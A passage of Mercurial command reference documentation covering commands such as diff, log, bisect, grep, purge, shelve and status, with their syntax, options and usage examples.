short-form changeset hash (12 hexadecimal digits)

%r
zero-padded changeset revision number

%b
basename of the exporting repository

**
literal "" character

Template:

The following keywords are supported in addition to the common template keywords and functions. See also hg help templates.

data
String. File content.

path
String. Repository-absolute path of the file.

Returns 0 on success.

Options:

-o,–output** <FORMAT>**
print output to file with formatted name

-r,–rev** <REV>**
print the given revision

–decode
apply any matching decode filter

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

-T,–template** <TEMPLATE>**
display with template

[+] marked option can be specified multiple times

copy

mark files as copied for the next commit:

hg copy [OPTION]... (SOURCE... DEST | --forget DEST...)

Mark dest as having copies of source files. If dest is a directory, copies are put in that directory. If dest is a file, the source must be a single file.

By default, this command copies the contents of files as they exist in the working directory. If invoked with -A/–after, the operation is recorded, but no copying is performed.

To undo marking a destination file as copied, use –forget. With that option, all given (positional) arguments are unmarked as copies. The destination file(s) will be left in place (still tracked). Note that hg copy –forget behaves the same way as hg rename –forget.

This command takes effect with the next commit by default.

Returns 0 on success, 1 if errors are encountered.

Options:

–forget
unmark a destination file as copied

-A, –after
record a copy that has already occurred

–at-rev* <REV>*
(un)mark copies in the given revision (EXPERIMENTAL)

-f, –force
forcibly copy over an existing managed file

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

-n, –dry-run
do not perform actions, just print output

[+] marked option can be specified multiple times

aliases: cp

diff

diff repository (or selected files):

hg diff [OPTION]... ([-c REV] | [--from REV1] [--to REV2]) [FILE]...

Show differences between revisions for the specified files.

Differences between files are shown using the unified diff format.

Note
hg diff may generate unexpected results for merges, as it will default to comparing against the working directory’s first parent changeset if no revisions are specified. To diff against the conflict regions, you can use –config diff.merge=yes.

By default, the working directory files are compared to its first parent. To see the differences from another revision, use –from. To see the difference to another revision, use –to. For example, hg diff –from .^ will show the differences from the working copy’s grandparent to the working copy, hg diff –to . will show the diff from the working copy to its parent (i.e. the reverse of the default), and hg diff –from 1.0 –to 1.2 will show the diff between those two revisions.

Alternatively you can specify -c/–change with a revision to see the changes in that changeset relative to its first parent (i.e. hg diff -c 42 is equivalent to hg diff –from 42^ –to 42)

Without the -a/–text option, diff will avoid generating diffs of files it detects as binary. With -a, diff will generate a diff anyway, probably with undesirable results.

Use the -g/–git option to generate diffs in the git extended diff format. For more information, read hg help diffs.

Examples:

  • compare a file in the current working directory to its parent:
hg diff foo.c
  • compare two historical versions of a directory, with rename info:
hg diff --git --from 1.0 --to 1.2 lib/
  • get change stats relative to the last change on some date:
hg diff --stat --from "date('may 2')"
  • diff all newly-added files that contain a keyword:
hg diff "set:added() and grep(GNU)"
  • compare a revision and its parents:
hg diff -c 9353                  # compare against first parent
hg diff --from 9353^ --to 9353   # same using revset syntax
hg diff --from 9353^2 --to 9353  # compare against the second parent

Returns 0 on success.

Options:

-r,–rev** <REV[+]>**
revision (DEPRECATED)

–from* <REV1>*
revision to diff from

–to* <REV2>*
revision to diff to

-c,–change** <REV>**
change made by revision

-a, –text
treat all files as text

-g, –git
use git extended diff format (DEFAULT: diff.git)

–binary
generate binary diffs in git mode (default)

–nodates
omit dates from diff headers

–noprefix
omit a/ and b/ prefixes from filenames

-p, –show-function
show which function each change is in (DEFAULT: diff.showfunc)

–reverse
produce a diff that undoes the changes

-w, –ignore-all-space
ignore white space when comparing lines

-b, –ignore-space-change
ignore changes in the amount of white space

-B, –ignore-blank-lines
ignore changes whose lines are all blank

-Z, –ignore-space-at-eol
ignore changes in whitespace at EOL

-U,–unified** <NUM>**
number of lines of context to show

–stat
output diffstat-style summary of changes

–root* <DIR>*
produce diffs relative to subdirectory

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

-S, –subrepos
recurse into subrepositories

[+] marked option can be specified multiple times

grep

search for a pattern in specified files:

hg grep [--diff] [OPTION]... PATTERN [FILE]...

Search the working directory or revision history for a regular expression in the specified files for the entire repository.

By default, grep searches the repository files in the working directory and prints the files where it finds a match. To specify historical revisions instead of the working directory, use the –rev flag.

To search instead historical revision differences that contains a change in match status ("-" for a match that becomes a non-match, or “+” for a non-match that becomes a match), use the –diff flag.

PATTERN can be any Python (roughly Perl-compatible) regular expression.

If no FILEs are specified and the –rev flag isn’t supplied, all files in the working directory are searched. When using the –rev flag and specifying FILEs, use the –follow argument to also follow the specified FILEs across renames and copies.

Template:

The following keywords are supported in addition to the common template keywords and functions. See also hg help templates.

change
String. Character denoting insertion + or removal -. Available if –diff is specified.

lineno
Integer. Line number of the match.

path
String. Repository-absolute path of the file.

texts
List of text chunks.

And each entry of {texts} provides the following sub-keywords.

matched
Boolean. True if the chunk matches the specified pattern.

text
String. Chunk content.

See hg help templates.operators for the list expansion syntax.

Returns 0 if a match is found, 1 otherwise.

Options:

-0, –print0
end fields with NUL

–all
an alias to –diff (DEPRECATED)

–diff
search revision differences for when the pattern was added or removed

-a, –text
treat all files as text

-f, –follow
follow changeset history, or file history across copies and renames

-i, –ignore-case
ignore case when matching

-l, –files-with-matches
print only filenames and revisions that match

-n, –line-number
print matching line numbers

-r,–rev** <REV[+]>**
search files changed within revision range

–all-files
include all files in the changeset while grepping (DEPRECATED)

-u, –user
list the author (long with -v)

-d, –date
list the date (short with -q)

-T,–template** <TEMPLATE>**
display with template

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

[+] marked option can be specified multiple times

Change navigation

bisect

subdivision search of changesets:

hg bisect [-gbsr] [-U] [-c CMD] [REV]

This command helps to find changesets which introduce problems. To use, mark the earliest changeset you know exhibits the problem as bad, then mark the latest changeset which is free from the problem as good. Bisect will update your working directory to a revision for testing (unless the -U/–noupdate option is specified). Once you have performed tests, mark the working directory as good or bad, and bisect will either update to another candidate changeset or announce that it has found the bad revision.

As a shortcut, you can also use the revision argument to mark a revision as good or bad without checking it out first.

If you supply a command, it will be used for automatic bisection. The environment variable HG_NODE will contain the ID of the changeset being tested. The exit status of the command will be used to mark revisions as good or bad: status 0 means good, 125 means to skip the revision, 127 (command not found) will abort the bisection, and any other non-zero exit status means the revision is bad.

Some examples:

  • start a bisection with known bad revision 34, and good revision 12:
hg bisect --bad 34
hg bisect --good 12
  • advance the current bisection by marking current revision as good or bad:
hg bisect --good
hg bisect --bad
  • mark the current revision, or a known revision, to be skipped (e.g. if that revision is not usable because of another issue):
hg bisect --skip
hg bisect --skip 23
  • skip all revisions that do not touch directories foo or bar:
hg bisect --skip "!( file('path:foo') & file('path:bar') )"
  • forget the current bisection:
hg bisect --reset
  • use ‘make && make tests’ to automatically find the first broken revision:
hg bisect --reset
hg bisect --bad 34
hg bisect --good 12
hg bisect --command "make && make tests"
  • see all changesets whose states are already known in the current bisection:
hg log -r "bisect(pruned)"
  • see the changeset currently being bisected (especially useful if running with -U/–noupdate):
hg log -r "bisect(current)"
  • see all changesets that took part in the current bisection:
hg log -r "bisect(range)"
  • you can even get a nice graph:
hg log --graph -r "bisect(range)"

See hg help revisions.bisect for more about the bisect() predicate.

Returns 0 on success.

Options:

-r, –reset
reset bisect state

-g, –good
mark changeset good

-b, –bad
mark changeset bad

-s, –skip
skip testing changeset

-e, –extend
extend the bisect range

-c,–command** <CMD>**
use command to check changeset state

-U, –noupdate
do not update to target

heads

show branch heads:

hg heads [-ct] [-r STARTREV] [REV]...

With no arguments, show all open branch heads in the repository. Branch heads are changesets that have no descendants on the same branch. They are where development generally takes place and are the usual targets for update and merge operations.

If one or more REVs are given, only open branch heads on the branches associated with the specified changesets are shown. This means that you can use hg heads . to see the heads on the currently checked-out branch.

If -c/–closed is specified, also show branch heads marked closed (see hg commit –close-branch).

If STARTREV is specified, only those heads that are descendants of STARTREV will be displayed.

If -t/–topo is specified, named branch mechanics will be ignored and only topological heads (changesets with no children) will be shown.

Returns 0 if matching heads are found, 1 if not.

Options:

-r,–rev** <STARTREV>**
show only heads which are descendants of STARTREV

-t, –topo
show topological heads only

-a, –active
show active branchheads only (DEPRECATED)

-c, –closed
show normal and closed branch heads

–style* <STYLE>*
display using template map file (DEPRECATED)

-T,–template** <TEMPLATE>**
display with template

identify

identify the working directory or specified revision:

hg identify [-nibtB] [-r REV] [SOURCE]

Print a summary identifying the repository state at REV using one or two parent hash identifiers, followed by a “+” if the working directory has uncommitted changes, the branch name (if not default), a list of tags, and a list of bookmarks.

When REV is not given, print a summary of the current state of the repository including the working directory. Specify -r. to get information of the working directory parent without scanning uncommitted changes.

Specifying a path to a repository root or Mercurial bundle will cause lookup to operate on that repository/bundle.

Template:

The following keywords are supported in addition to the common template keywords and functions. See also hg help templates.

dirty
String. Character + denoting if the working directory has uncommitted changes.

id
String. One or two nodes, optionally followed by +.

parents
List of strings. Parent nodes of the changeset.

Examples:

  • generate a build identifier for the working directory:
hg id --id > build-id.dat
  • find the revision corresponding to a tag:
hg id -n -r 1.3
  • check the most recent revision of a remote repository:
hg id -r tip https://www.mercurial-scm.org/repo/hg/

See hg log for generating more information about specific revisions, including full hash identifiers.

Returns 0 if successful.

Options:

-r,–rev** <REV>**
identify the specified revision

-n, –num
show local revision number

-i, –id
show global revision id

-b, –branch
show branch

-t, –tags
show tags

-B, –bookmarks
show bookmarks

-e,–ssh** <CMD>**
specify ssh command to use

–remotecmd* <CMD>*
specify hg command to run on the remote side

–insecure
do not verify server certificate (ignoring web.cacerts config)

-T,–template** <TEMPLATE>**
display with template

aliases: id

log

show revision history of entire repository or files:

hg log [OPTION]... [FILE]

Print the revision history of the specified files or the entire project.

If no revision range is specified, the default is tip:0 unless –follow is set.

File history is shown without following rename or copy history of files. Use -f/–follow with a filename to follow history across renames and copies. –follow without a filename will only show ancestors of the starting revisions. The starting revisions can be specified by -r/–rev, which default to the working directory parent.

By default this command prints revision number and changeset id, tags, non-trivial parents, user, date and time, and a summary for each commit. When the -v/–verbose switch is used, the list of changed files and full commit message are shown.

With –graph the revisions are shown as an ASCII art DAG with the most recent changeset at the top. ‘o’ is a changeset, ‘@’ is a working directory parent, ‘%’ is a changeset involved in an unresolved merge conflict, ‘_’ closes a branch, ‘x’ is obsolete, ‘*’ is unstable, and ‘+’ represents a fork where the changeset from the lines below is a parent of the ‘o’ merge on the same line. Paths in the DAG are represented with ‘|’, ‘/’ and so forth. ‘:’ in place of a ‘|’ indicates one or more revisions in a path are omitted.

Use -L/–line-range FILE,M:N options to follow the history of lines from M to N in FILE. With -p/–patch only diff hunks affecting specified line range will be shown. This option requires –follow; it can be specified multiple times. Currently, this option is not compatible with –graph. This option is experimental.

Note
hg log –patch may generate unexpected diff output for merge changesets, as it will only compare the merge changeset against its first parent. Also, only files different from BOTH parents will appear in files:.

Note
For performance reasons, hg log FILE may omit duplicate changes made on branches and will not show removals or mode changes. To see all such changes, use the –removed switch.

Note
The history resulting from -L/–line-range options depends on diff options; for instance if white-spaces are ignored, respective changes with only white-spaces in specified line range will not be listed.

Some examples:

  • changesets with full descriptions and file lists:
hg log -v
  • changesets ancestral to the working directory:
hg log -f
  • last 10 commits on the current branch:
hg log -l 10 -b .
  • changesets showing all modifications of a file, including removals:
hg log --removed file.c
  • all changesets that touch a directory, with diffs, excluding merges:
hg log -Mp lib/
  • all revision numbers that match a keyword:
hg log -k bug --template "{rev}

"

  • the full hash identifier of the working directory parent:
hg log -r . --template "{node}

"

  • list available log templates:
hg log -T list
  • check if a given changeset is included in a tagged release:
hg log -r "a21ccf and ancestor(1.9)"
  • find all changesets by some user in a date range:
hg log -k alice -d "may 2008 to jul 2008"
  • summary of all changesets after the last tag:
hg log -r "last(tagged())::" --template "{desc|firstline}

"

  • changesets touching lines 13 to 23 for file.c:
hg log -L file.c,13:23
  • changesets touching lines 13 to 23 for file.c and lines 2 to 6 of main.c with patch:
hg log -L file.c,13:23 -L main.c,2:6 -p

See hg help dates for a list of formats valid for -d/–date.

See hg help revisions for more about specifying and ordering revisions.

See hg help templates for more about pre-packaged styles and specifying custom templates. The default template used by the log command can be customized via the command-templates.log configuration setting.

Returns 0 on success.

Options:

-f, –follow
follow changeset history, or file history across copies and renames

–follow-first
only follow the first parent of merge changesets (DEPRECATED)

-d,–date** <DATE>**
show revisions matching date spec

-C, –copies
show copied files

-k,–keyword** <TEXT[+]>**
do case-insensitive search for a given text

-r,–rev** <REV[+]>**
revisions to select or follow from

-L,–line-range** <FILE,RANGE[+]>**
follow line range of specified file (EXPERIMENTAL)

–removed
include revisions where files were removed

-m, –only-merges
show only merges (DEPRECATED) (use -r “merge()” instead)

-u,–user** <USER[+]>**
revisions committed by user

–only-branch* <BRANCH[+]>*
show only changesets within the given named branch (DEPRECATED)

-b,–branch** <BRANCH[+]>**
show changesets within the given named branch

-B,–bookmark** <BOOKMARK[+]>**
show changesets within the given bookmark

-P,–prune** <REV[+]>**
do not display revision or any of its ancestors

-p, –patch
show patch

-g, –git
use git extended diff format

-l,–limit** <NUM>**
limit number of changes displayed

-M, –no-merges
do not show merges

–stat
output diffstat-style summary of changes

-G, –graph
show the revision DAG

–style* <STYLE>*
display using template map file (DEPRECATED)

-T,–template** <TEMPLATE>**
display with template

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

[+] marked option can be specified multiple times

aliases: history

parents

show the parents of the working directory or revision (DEPRECATED):

hg parents [-r REV] [FILE]

Print the working directory’s parent revisions. If a revision is given via -r/–rev, the parent of that revision will be printed. If a file argument is given, the revision in which the file was last changed (before the working directory revision or the argument to –rev if given) is printed.

This command is equivalent to:

hg log -r "p1()+p2()" or
hg log -r "p1(REV)+p2(REV)" or
hg log -r "max(::p1() and file(FILE))+max(::p2() and file(FILE))" or
hg log -r "max(::p1(REV) and file(FILE))+max(::p2(REV) and file(FILE))"

See hg summary and hg help revsets for related information.

Returns 0 on success.

Options:

-r,–rev** <REV>**
show parents of the specified revision

–style* <STYLE>*
display using template map file (DEPRECATED)

-T,–template** <TEMPLATE>**
display with template

tip

show the tip revision (DEPRECATED):

hg tip [-p] [-g]

The tip revision (usually just called the tip) is the changeset most recently added to the repository (and therefore the most recently changed head).

If you have just made a commit, that commit will be the tip. If you have just pulled changes from another repository, the tip of that repository becomes the current tip. The “tip” tag is special and cannot be renamed or assigned to a different changeset.

This command is deprecated, please use hg heads instead.

Returns 0 on success.

Options:

-p, –patch
show patch

-g, –git
use git extended diff format

–style* <STYLE>*
display using template map file (DEPRECATED)

-T,–template** <TEMPLATE>**
display with template

Working directory management

add

add the specified files on the next commit:

hg add [OPTION]... [FILE]...

Schedule files to be version controlled and added to the repository.

The files will be added to the repository at the next commit. To undo an add before that, see hg forget.

If no names are given, add all files to the repository (except files matching .hgignore).

Examples:

  • New (unknown) files are added automatically by hg add:
$ ls
foo.c
$ hg status
? foo.c
$ hg add
adding foo.c
$ hg status
A foo.c
  • Specific files to be added can be specified:
$ ls
bar.c  foo.c
$ hg status
? bar.c
? foo.c
$ hg add bar.c
$ hg status
A bar.c
? foo.c

Returns 0 if all files are successfully added.

Options:

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

-S, –subrepos
recurse into subrepositories

-n, –dry-run
do not perform actions, just print output

[+] marked option can be specified multiple times

addremove

add all new files, delete all missing files:

hg addremove [OPTION]... [FILE]...

Add all new files and remove all missing files from the repository.

Unless names are given, new files are ignored if they match any of the patterns in .hgignore. As with add, these changes take effect at the next commit.

Use the -s/–similarity option to detect renamed files. This option takes a percentage between 0 (disabled) and 100 (files must be identical) as its parameter. With a parameter greater than 0, this compares every removed file with every added file and records those similar enough as renames. Detecting renamed files this way can be expensive. After using this option, hg status -C can be used to check which files were identified as moved or renamed. If not specified, -s/–similarity defaults to 100 and only renames of identical files are detected.

Examples:

  • A number of files (bar.c and foo.c) are new, while foobar.c has been removed (without using hg remove) from the repository:
$ ls
bar.c foo.c
$ hg status
! foobar.c
? bar.c
? foo.c
$ hg addremove
adding bar.c
adding foo.c
removing foobar.c
$ hg status
A bar.c
A foo.c
R foobar.c
  • A file foobar.c was moved to foo.c without using hg rename. Afterwards, it was edited slightly:
$ ls
foo.c
$ hg status
! foobar.c
? foo.c
$ hg addremove --similarity 90
removing foobar.c
adding foo.c
recording removal of foobar.c as rename to foo.c (94% similar)
$ hg status -C
A foo.c
  foobar.c
R foobar.c

Returns 0 if all files are successfully added.

Options:

-s,–similarity** <SIMILARITY>**
guess renamed files by similarity (0<=s<=100)

-S, –subrepos
recurse into subrepositories

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

-n, –dry-run
do not perform actions, just print output

[+] marked option can be specified multiple times

files

list tracked files:

hg files [OPTION]... [FILE]...

Print files under Mercurial control in the working directory or specified revision for given files (excluding removed files). Files can be specified as filenames or filesets.

If no files are given to match, this command prints the names of all files under Mercurial control.

Template:

The following keywords are supported in addition to the common template keywords and functions. See also hg help templates.

flags
String. Character denoting file’s symlink and executable bits.

path
String. Repository-absolute path of the file.

size
Integer. Size of the file in bytes.

Examples:

  • list all files under the current directory:
hg files .
  • shows sizes and flags for current revision:
hg files -vr .
  • list all files named README:
hg files -I "**/README"
  • list all binary files:
hg files "set:binary()"
  • find files containing a regular expression:
hg files "set:grep('bob')"
  • search tracked file contents with xargs and grep:
hg files -0 | xargs -0 grep foo

See hg help patterns and hg help filesets for more information on specifying file patterns.

Returns 0 if a match is found, 1 otherwise.

Options:

-r,–rev** <REV>**
search the repository as it is in REV

-0, –print0
end filenames with NUL, for use with xargs

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

-T,–template** <TEMPLATE>**
display with template

-S, –subrepos
recurse into subrepositories

[+] marked option can be specified multiple times

forget

forget the specified files on the next commit:

hg forget [OPTION]... FILE...

Mark the specified files so they will no longer be tracked after the next commit.

This only removes files from the current branch, not from the entire project history, and it does not delete them from the working directory.

To delete the file from the working directory, see hg remove.

To undo a forget before the next commit, see hg add.

Examples:

  • forget newly-added binary files:
hg forget "set:added() and binary()"
  • forget files that would be excluded by .hgignore:
hg forget "set:hgignore()"

Returns 0 on success.

Options:

-i, –interactive
use interactive mode

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

-n, –dry-run
do not perform actions, just print output

[+] marked option can be specified multiple times

locate

locate files matching specific patterns (DEPRECATED):

hg locate [OPTION]... [PATTERN]...

Print files under Mercurial control in the working directory whose names match the given patterns.

By default, this command searches all directories in the working directory. To search just the current directory and its subdirectories, use “–include .”.

If no patterns are given to match, this command prints the names of all files under Mercurial control in the working directory.

If you want to feed the output of this command into the “xargs” command, use the -0 option to both this command and “xargs”. This will avoid the problem of “xargs” treating single filenames that contain whitespace as multiple filenames.

See hg help files for a more versatile command.

Returns 0 if a match is found, 1 otherwise.

Options:

-r,–rev** <REV>**
search the repository as it is in REV

-0, –print0
end filenames with NUL, for use with xargs

-f, –fullpath
print complete paths from the filesystem root

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

[+] marked option can be specified multiple times

purge

removes files not tracked by Mercurial:

hg purge [OPTION]... [DIR]...

Delete files not known to Mercurial. This is useful to test local and uncommitted changes in an otherwise-clean source tree.

This means that purge will delete the following by default:

  • Unknown files: files marked with “?” by hg status

  • Empty directories: in fact Mercurial ignores directories unless they contain files under source control management

But it will leave untouched:

  • Modified and unmodified tracked files

  • Ignored files (unless -i or –all is specified)

  • New files added to the repository (with hg add)

The –files and –dirs options can be used to direct purge to delete only files, only directories, or both. If neither option is given, both will be deleted.

If directories are given on the command line, only files in these directories are considered.

Be careful with purge, as you could irreversibly delete some files you forgot to add to the repository. If you only want to print the list of files that this program would delete, use the –print option.

Options:

-a, –abort-on-err
abort if an error occurs

–all
purge ignored files too

-i, –ignored
purge only ignored files

–dirs
purge empty directories

–files
purge files

-p, –print
print filenames instead of deleting them

-0, –print0
end filenames with NUL, for use with xargs (implies -p/–print)

–confirm
ask before permanently deleting files

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

[+] marked option can be specified multiple times

aliases: clean

remove

remove the specified files on the next commit:

hg remove [OPTION]... FILE...

Schedule the indicated files for removal from the current branch.

This command schedules the files to be removed at the next commit. To undo a remove before that, see hg revert. To undo added files, see hg forget.

-A/–after can be used to remove only files that have already been deleted, -f/–force can be used to force deletion, and -Af can be used to remove files from the next revision without deleting them from the working directory.

The following table details the behavior of remove for different file states (columns) and option combinations (rows). The file states are Added [A], Clean [C], Modified [M] and Missing [!] (as reported by hg status). The actions are Warn, Remove (from branch) and Delete (from disk):

_
opt/stateACM!
_
noneWRDWR
_
-fRRDRDR
_
-AWWWR
_
-AfRRRR
_

Note
hg remove never deletes files in Added [A] state from the working directory, not even if –force is specified.

Returns 0 on success, 1 if any warnings encountered.

Options:

-A, –after
record delete for missing files

-f, –force
forget added files, delete modified files

-S, –subrepos
recurse into subrepositories

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

-n, –dry-run
do not perform actions, just print output

[+] marked option can be specified multiple times

aliases: rm

rename

rename files; equivalent of copy + remove:

hg rename [OPTION]... SOURCE... DEST

Mark dest as copies of sources; mark sources for deletion. If dest is a directory, copies are put in that directory. If dest is a file, there can only be one source.

By default, this command copies the contents of files as they exist in the working directory. If invoked with -A/–after, the operation is recorded, but no copying is performed.

To undo marking a destination file as renamed, use –forget. With that option, all given (positional) arguments are unmarked as renames. The destination file(s) will be left in place (still tracked). The source file(s) will not be restored. Note that hg rename –forget behaves the same way as hg copy –forget.

This command takes effect with the next commit by default.

Returns 0 on success, 1 if errors are encountered.

Options:

–forget
unmark a destination file as renamed

-A, –after
record a rename that has already occurred

–at-rev* <REV>*
(un)mark renames in the given revision (EXPERIMENTAL)

-f, –force
forcibly move over an existing managed file

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

-n, –dry-run
do not perform actions, just print output

[+] marked option can be specified multiple times

aliases: move mv

resolve

redo merges or set/view the merge status of files:

hg resolve [OPTION]... [FILE]...

Merges with unresolved conflicts are often the result of non-interactive merging using the internal:merge configuration setting, or a command-line merge tool like diff3. The resolve command is used to manage the files involved in a merge, after hg merge has been run, and before hg commit is run (i.e. the working directory must have two parents). See hg help merge-tools for information on configuring merge tools.

The resolve command can be used in the following ways:

  • hg resolve [–re-merge] [–tool TOOL] FILE…: attempt to re-merge the specified files, discarding any previous merge attempts. Re-merging is not performed for files already marked as resolved. Use –all/-a to select all unresolved files. –tool can be used to specify the merge tool used for the given files. It overrides the HGMERGE environment variable and your configuration files. Previous file contents are saved with a .orig suffix.

  • hg resolve -m [FILE]: mark a file as having been resolved (e.g. after having manually fixed-up the files). The default is to mark all unresolved files.

  • hg resolve -u [FILE]…: mark a file as unresolved. The default is to mark all resolved files.

  • hg resolve -l: list files which had or still have conflicts. In the printed list, U = unresolved and R = resolved. You can use set:unresolved() or set:resolved() to filter the list. See hg help filesets for details.

Note
Mercurial will not let you commit files with unresolved merge conflicts. You must use hg resolve -m … before you can commit after a conflicting merge.

Template:

The following keywords are supported in addition to the common template keywords and functions. See also hg help templates.

mergestatus
String. Character denoting merge conflicts, U or R.

path
String. Repository-absolute path of the file.

Returns 0 on success, 1 if any files fail a resolve attempt.

Options:

-a, –all
select all unresolved files

-l, –list
list state of files needing merge

-m, –mark
mark files as resolved

-u, –unmark
mark files as unresolved

-n, –no-status
hide status prefix

–re-merge
re-merge files

-t,–tool** <TOOL>**
specify merge tool

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

-T,–template** <TEMPLATE>**
display with template

[+] marked option can be specified multiple times

revert

restore files to their checkout state:

hg revert [OPTION]... [-r REV] [NAME]...

Note
To check out earlier revisions, you should use hg update REV. To cancel an uncommitted merge (and lose your changes), use hg merge –abort.

With no revision specified, revert the specified files or directories to the contents they had in the parent of the working directory. This restores the contents of files to an unmodified state and unschedules adds, removes, copies, and renames. If the working directory has two parents, you must explicitly specify a revision.

Using the -r/–rev or -d/–date options, revert the given files or directories to their states as of a specific revision. Because revert does not change the working directory parents, this will cause these files to appear modified. This can be helpful to “back out” some or all of an earlier change. See hg backout for a related method.

Modified files are saved with a .orig suffix before reverting. To disable these backups, use –no-backup. It is possible to store the backup files in a custom directory relative to the root of the repository by setting the ui.origbackuppath configuration option.

See hg help dates for a list of formats valid for -d/–date.

See hg help backout for a way to reverse the effect of an earlier changeset.

Returns 0 on success.

Options:

-a, –all
revert all changes when no arguments given

-d,–date** <DATE>**
tipmost revision matching date

-r,–rev** <REV>**
revert to the specified revision

-C, –no-backup
do not save backup copies of files

-i, –interactive
interactively select the changes

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

-n, –dry-run
do not perform actions, just print output

[+] marked option can be specified multiple times

root

print the root (top) of the current working directory:

hg root

Print the root directory of the current repository.

Template:

The following keywords are supported in addition to the common template keywords and functions. See also hg help templates.

hgpath
String. Path to the .hg directory.

storepath
String. Path to the directory holding versioned data.

Returns 0 on success.

Options:

-T,–template** <TEMPLATE>**
display with template

shelve

save and set aside changes from the working directory:

hg shelve [OPTION]... [FILE]...

Shelving takes files that “hg status” reports as not clean, saves the modifications to a bundle (a shelved change), and reverts the files so that their state in the working directory becomes clean.

To restore these changes to the working directory, using “hg unshelve”; this will work even if you switch to a different commit.

When no files are specified, “hg shelve” saves all not-clean files. If specific files or directories are named, only changes to those files are shelved.

In bare shelve (when no files are specified, without interactive, include and exclude option), shelving remembers information if the working directory was on newly created branch, in other words working directory was on different branch than its first parent. In this situation unshelving restores branch information to the working directory.

Each shelved change has a name that makes it easier to find later. The name of a shelved change defaults to being based on the active bookmark, or if there is no active bookmark, the current named branch. To specify a different name, use –name.

To see a list of existing shelved changes, use the –list option. For each shelved change, this will print its name, age, and description; use –patch or –stat for more details.

To delete specific shelved changes, use –delete. To delete all shelved changes, use –cleanup.

Options:

-A, –addremove
mark new/missing files as added/removed before shelving

-u, –unknown
store unknown files in the shelve

–cleanup
delete all shelved changes

–date* <DATE>*
shelve with the specified commit date

-d, –delete
delete the named shelved change(s)

-e, –edit
invoke editor on commit messages

-k, –keep
shelve, but keep changes in the working directory

-l, –list
list current shelves

-m,–message** <TEXT>**
use text as shelve message

-n,–name** <NAME>**
use the given name for the shelved commit

-p, –patch
output patches for changes (provide the names of the shelved changes as positional arguments)

-i, –interactive
interactive mode

–stat
output diffstat-style summary of changes (provide the names of the shelved changes as positional arguments)

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

[+] marked option can be specified multiple times

status

show changed files in the working directory:

hg status [OPTION]... [FILE]...

Show status of files in the repository. If names are given, only files that match are shown. Files that are clean or ignored or the source of a copy/move operation, are not listed unless -c/–clean, -i/–ignored, -C/–copies or -A/–all are given. Unless options described with “show only …” are given, the options -mardu are used.

Option -q/–quiet hides untracked (unknown and ignored) files unless explicitly requested with -u/–unknown or -i/–ignored.

Note
hg status may appear to disagree with diff if permissions have changed or a merge has occurred. The standard diff format does not report permission changes and diff only reports changes relative to one merge parent.

If one revision is given, it is used as the base revision. If two revisions are given, the differences between them are shown. The –change option can also be used as a shortcut to list the changed files of a revision from its first parent.

The codes used to show the status of files are:

M = modified
A = added
R = removed
C = clean
! = missing (deleted by non-hg command, but still tracked)
? = not tracked
I = ignored
  = origin of the previous file (with --copies)

The -t/–terse option abbreviates the output by showing only the directory name if all the files in it share the same status. The option takes an argument indicating the statuses to abbreviate: ’m’ for ‘modified’, ‘a’ for ‘added’, ‘r’ for ‘removed’, ’d’ for ‘deleted’, ‘u’ for ‘unknown’, ‘i’ for ‘ignored’ and ‘c’ for clean.

It abbreviates only those statuses which are passed. Note that clean and ignored files are not displayed with ‘–terse ic’ unless the -c/–clean and -i/–ignored options are also used.

The -v/–verbose option shows information when the repository is in an unfinished merge, shelve, rebase state etc. You can have this behavior turned on by default by enabling the commands.status.verbose option.

You can skip displaying some of these states by setting commands.status.skipstates to one or more of: ‘bisect’, ‘graft’, ‘histedit’, ‘merge’, ‘rebase’, or ‘unshelve’.

Template:

The following keywords are supported in addition to the common template keywords and functions. See also hg help templates.

path
String. Repository-absolute path of the file.

source
String. Repository-absolute path of the file originated from. Available if –copies is specified.

status
String. Character denoting file’s status.

Examples:

  • show changes in the working directory relative to a changeset:
hg status --rev 9353
  • show changes in the working directory relative to the current directory (see hg help patterns for more information):
hg status re:
  • show all changes including copies in an existing changeset:
hg status --copies --change 9353
  • get a NUL separated list of added files, suitable for xargs:
hg status -an0
  • show more information about the repository status, abbreviating added, removed, modified, deleted, and untracked paths:
hg status -v -t mardu

Returns 0 on success.

Options:

-A, –all
show status of all files

-m, –modified
show only modified files

-a, –added
show only added files

-r, –removed
show only removed files

-d, –deleted
show only missing files

-c, –clean
show only files without changes

-u, –unknown
show only unknown (not tracked) files

-i, –ignored
show only ignored files

-n, –no-status
hide status prefix

-t,–terse** <VALUE>**
show the terse output (EXPERIMENTAL) (default: nothing)

-C, –copies
show source of copied files (DEFAULT: ui.statuscopies)

-0, –print0
end filenames with NUL, for use with xargs

–rev* <REV[+]>*
show difference from revision

–change* <REV>*
list the changed files of a revision

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

-S, –subrepos
